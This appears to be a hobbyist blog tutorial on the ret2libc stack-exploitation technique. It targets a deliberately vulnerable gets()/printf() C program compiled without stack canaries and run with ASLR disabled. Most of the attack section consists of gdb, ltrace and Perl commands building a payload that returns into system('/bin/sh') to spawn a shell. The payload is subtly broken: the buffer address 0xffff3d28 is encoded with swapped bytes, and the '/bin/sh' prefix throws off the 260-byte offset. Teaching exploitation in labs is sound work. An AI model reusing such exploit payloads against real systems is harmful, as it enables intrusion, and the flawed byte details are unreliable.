So it’s been a while since I last wrote an article and I think it’s time for a new one.
Since the straight forward smash stacking has already been covered plenty, I decided to start this serie with ret2libc.
It is assumed that you already understand the normal exploiting techniques, so make sure you already understand the following topics:
- C Programming, pointers, functions etc
- ASM (x86 will be used in this article)
- How the stack works (ebp, esp, return adress, parameters, locals, etc)
- How to do smashstacking
- Probably having done some RE might help.
Why Ret2libc
Between hackers and security specialists there is an eternal clash of cleverness.
Some hacker finds a new technique to exploit a bug and so the security specialist comes up with a way to prevent that technique from working by introducing a new technique to prevent that specific attack.
One of these techniques was smash stacking, writing shellcode to a buffer, and overwriting the return adress in the stackframe to a pointer to that buffer to execute the shellcode.
So a couple of security specialists discussed the problem and come up with a solution:
Non executable stack is what they came up with.
What this means is pretty straight forward: The shellcode on the stack can no longer be executed, since the processor is not allowed to execute instructions placed on the stack.
This worked until some clever came up with a new technique: ret2libc
How Ret2libc Works
The idea of Ret2libc is pretty simple: Why write a shellcode, when there is plenty of useful functions residing in the C library already?
After all when we write a program we’re mainly using the libc’s functions anyway.
So let’s look at how a function works in C.
x86’s call instruction actually does two things:
- Push eip on stack
- Jump to the function adress
before this some parameters might be pushed on the stack, after that some local variables might assigned on the stack.
But what matters is the push eip and the jump.
So what would happen if we return into a new function?
the function would assume a return adress was pushed on the stack and that above that return adress (higher adress) would be the arguments.
So what this means is that we manage to overwrite the return adress of a vulnerable function with the return adress of a function somewhere in memory we would like to execute we now know where it expects it’s arguments.
But that would mean we can call a function and fabricate the arguments as well!
If this might sound vague don’t worry we’ll see what it means with an example.
Exploiting a Very Vulnerable Program with Ret2libc
So let’s look at some really, really vulnerable code (seriously don’t ever write stuff like this)
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[256];
gets(buf);
printf(buf);
return 0;
}
This program is not only vulnerable to ret2libc, but also to format string attacks, but that’s not of importance here (though it can make things easier).
So now compile it with the following flags:
gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -o ret2libc ret2libc.c
Also make sure to turn off ALSR :
sudo su - root
echo 0 > /proc/sys/kernel/randomize_va_space
exit
So now let’s exploit this program to spawn a shell.
The function we’ll be using is in libc and you might have used it once or twice: system()
System is nice, because it takes only one argument, a string being the command you which to execute (for more info man 3 system
)
What interests us are 3 things:
- The length of the buffer (and from where the return adress begins).
- The adress of system in libc.
- In this case, the adress of the start of the buffer
Since we’re exploiting gets here, we don’t have to worry about nullbytes (newlines however are a problem, so keep that in mind if you ever mess around with gets
).
So to get the adress of system, we will be using gdb
, for the length of the buffer we will just mess around a bit until we find it (use gdb or something like that) It’s probably at 260 anyway and for the adress of the buffer we will be using ltrace
.
Getting the adress of system
Open up gdb
:
gdb ./ret2libc
Withing gdb:
break main
run
p system
(make a note of the adress)
q
(we’re done here).
Getting the buffersize
do something like:
perl -e 'print "a" x 260 . "bbbb"' | ./ret2libc
check in gdb, should be something like ‘0x62626262, invalid instruction’, else mess around the numbers of a’s till you get that error.
Getting the adress of the start of the buffer
This one is really simple.
simply run:
ltrace ./ret2libc
in there you should see something like:
gets( some stuff ) = 0xffff3d28
This is exactly what we need, because get’s returns the argument passed to it if it succeeds, meaning we found the adress of the buffer (yay).
Now that we got all the ingredients, let’s work on actually exploiting it.
We will be doing the following:
begin our vulnerable input with:
"/bin/sh\x00"
(this will be the argument passed to system (luckily we know it’s adress, which happens to be the start of the buffer ^^).
then we need to fill until the return adress with whatever you like.
"a" x 260
sounds perfect.
Now comes the return adress, this is what ret2libc makes ret2libc.
fill in the adress of system
which you obtained earlier.
Let’s assume it’s 0xf7e503e0
so after the a’s will come:
"\xe0\x03\xe5\xf7"
This will make the function return into the start of the function system.
Ok now the tricky part comes, remember how I was mumbling about the function expecting to have the return adress being pushed on the stack by the functon call? Well it didn’t, since we returned into the function rather than call the function!
So our next 4 bytes will be either a valid return adress (perhaps another C library function ^^?), or some random garbage.
For the sake of simplicity I’ve chosen for random garbage, meaning the program will segfault afterwards.
After the 4 bytes of garbage will come the parameter to function system
.
In this case it’s a string, which we found earlier!
so fill it in here (for me it was 0xffff3d28
) :
"\x28\x3d\xff\xff"
.
In total we should now have something like the following:
perl -e 'print "/bin/sh\x00" . "a" x 260 . "\xe0\x03\xe5\xf7" . "aaaa" . "\x28\xd3\xff\xff"'
You can chose to output it to a file so you can cat
it later and not make a mess from your terminal:
perl -e 'print "/bin/sh\x00" . "a" x 260 . "\xe0\x03\xe5\xf7" . "aaaa" . "\x28\xd3\xff\xff"' > hakz
Now let’s try it ( with a nice trick to prevent the program from immediatly closing )
(cat hakz; echo ""; cat) | ./ret2libc
Voila! A working exploit.
Conclusion
Well as you can see we’ve now exploited a trivial program. Ofcourse you’d probably never encounter a program compiled with these flags, but that was not the point here.
The reason this won’t work nowadays are two techniques used in almost every compiler / OS nowadays:
- Canaries (overwriting a
canary value
on the stack will terminate the program). - ALSR (The adress of libc functions will be different each time you run the program).
This was a very basic introduction to ret2libc, please tell me how you liked it and feel free to ask questions!
~ IoTh1nKN0t
EDIT: